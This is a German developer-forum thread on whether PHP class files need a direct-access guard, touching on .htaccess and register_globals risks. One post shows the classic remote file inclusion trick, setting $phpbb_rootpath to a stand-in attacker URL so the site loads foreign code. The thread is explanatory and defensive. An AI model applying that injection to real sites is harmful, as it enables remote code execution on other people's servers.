Entwickler-Ecke
Programmiersprachen (Server) - Klassendateien schützen notwendig?
Heiko - Sa 29.11.08 12:38
Titel: Klassendateien schützen notwendig?
Hallo,
inzwischen sind ja viele PHP-Seiten OOP basiert. Man findet in deren PHP-Dateien also nur noch Klassen und keine blanken Variablen/Funtkionen. Doch findet man bei vielen Seiten weiterhin ein "die" am Anfangder Datei, falls die Seite direkt aufgerufen wurde. Ist das bei Klassen wirklich noch notwendig?
Beispiel:
C#-Quelltext
1: 2: 3: 4: 5: 6: 7:
| <?php if (!defined('MY_ROOT')) die('You can not access this file directly!'); class Test{ ... } ?> |
Grüße
Heiko
Regan - Fr 05.12.08 11:25
Ich würde sagen: Ja! Alles, was der Nutzer nicht sehen muss, darf er auch nicht sehen.
Übrigens würde ich dir zu einer anderen Variante raten: Erstell dir eine htacces-Datei. Dort stellst du dann einfach ein, dass alles, was im Ordner "hierdeinklassenordner" ist, auf eine Acces-Denied-Seite umleitet. Dann kann der Nutzer nicht mal den Dateinamen "erraten".
Kha - Fr 05.12.08 13:33
Regan hat folgendes geschrieben : |
Ich würde sagen: Ja! Alles, was der Nutzer nicht sehen muss, darf er auch nicht sehen. |
Einen Webserver, der .php-Dateien zum Download anbietet, sollte man lieber auf der Stelle aus dem Fenster werfen :| .
Heiko hat folgendes geschrieben : |
Ist das bei Klassen wirklich noch notwendig? |
Ich denke nicht, aber es ist wenigstens für den User (wie auch immer er dorthin gelangt ist) eine schönere Fehlermeldung als eine leere Seite :) .
Heiko - Fr 05.12.08 18:58
@Regan: Ahja, haste dir schon einmal die einfachen Pakete von HostEurope & Co angeguckt? Die Unterstützten manchmal keine .htaccess-Dateien. Von daher ist es wenn nur eione bedingter Sicherheitsgewinn.
Kha hat folgendes geschrieben : |
Regan hat folgendes geschrieben : | Ich würde sagen: Ja! Alles, was der Nutzer nicht sehen muss, darf er auch nicht sehen. | Einen Webserver, der .php-Dateien zum Download anbietet, sollte man lieber auf der Stelle aus dem Fenster werfen :| . |
Japp, schafft man aber z.B. dadurch, dass man den Server überlastet. Dann machen es einige ;). Allerdings würde es mich weniger stören. Mir gehts eher darum, dass keiner an die Daten der DB kommt. Wenn der Source OpenSource ist, ist es ja egal, wenn er die Dateien blanko ausliefert - schließlich kann man sich die eh so runterladen ;).
Kha hat folgendes geschrieben : |
Heiko hat folgendes geschrieben : | Ist das bei Klassen wirklich noch notwendig? | Ich denke nicht, aber es ist wenigstens für den User (wie auch immer er dorthin gelangt ist) eine schönere Fehlermeldung als eine leere Seite :) . |
An der Stelle hast du natürlich Recht. Aber: wer auf eine php-Datei stößt, die eigentlich nicht direkt aufrufbar ist, hat meistens eher böse Absichten im Sinne - von daher ist es da ggf. Geschmackssache, ob man sich den Traffic gönnt oder nicht ;)
BenBE - Mo 08.12.08 15:53
Diese Die-Anweisungen sind i.d.R. dafür gedacht, das unerlaubte Aufrufen von Funktions-Bibliotheken zu unterbinden, was im Zusammenhang mit Register Globals sehr nette Sicherheitslücken zulässt. Bei Klassen ist es nicht direkt mehr nötig, sollte aber der Konsistenz halber für jegliche Seiten, die vom User nicht aufgerufen werden dürfen, durchgeführt werden.
Heiko - Mo 08.12.08 18:30
BenBE hat folgendes geschrieben : |
das unerlaubte Aufrufen von Funktions-Bibliotheken zu unterbinden, was im Zusammenhang mit Register Globals sehr nette Sicherheitslücken zulässt. |
Wie ruft man Funktionen auf? Dass man mit register_globals Variablen setzten kann, ist mir bewusst - aber wie ruft man Funktionen darüber auf?
BenBE - Mo 08.12.08 23:08
Direkt Funktionsaufrufe erzwingen kann man nicht, man kann aber durch Register Globals sehr gut so tun, als ob dieses Modul legitim eingebunden wurde mit diesen (für den Angreifer günstigen) Werten und erhält damit eine nette Möglichkeit eigenen Code unterzujubeln. hat man gern mit $phpbb_rootpath='http://host.ev.il/?'; gemacht.
Heiko - Di 09.12.08 01:12
Wenn in der Datei nur Funktionen definiert sind - dann dürfte doch nix passieren. php registriert dass da Funktionen drin sind, aber nix was er ausführen kann. Von daher sehe ich an der Stelle das Problem nicht. Na klar, sobald irgendeine Zeile Code direkt ausgeführt wird, wäre es unpraktisch - also da muss man logischerweise die Zeile einfügen.
BenBE - Di 09.12.08 13:30
Korrekt, aber einen Grund, warum man es trotzdem tun sollte, hatte
Kha ja bereits erwähnt.
Heiko - Mi 10.12.08 00:12
Ok danke für die Antworten.
Entwickler-Ecke.de based on phpBB
Copyright 2002 - 2011 by Tino Teuber, Copyright 2011 - 2024 by Christian Stelzmann Alle Rechte vorbehalten.
Alle Beiträge stammen von dritten Personen und dürfen geltendes Recht nicht verletzen.
Entwickler-Ecke und die zugehörigen Webseiten distanzieren sich ausdrücklich von Fremdinhalten jeglicher Art!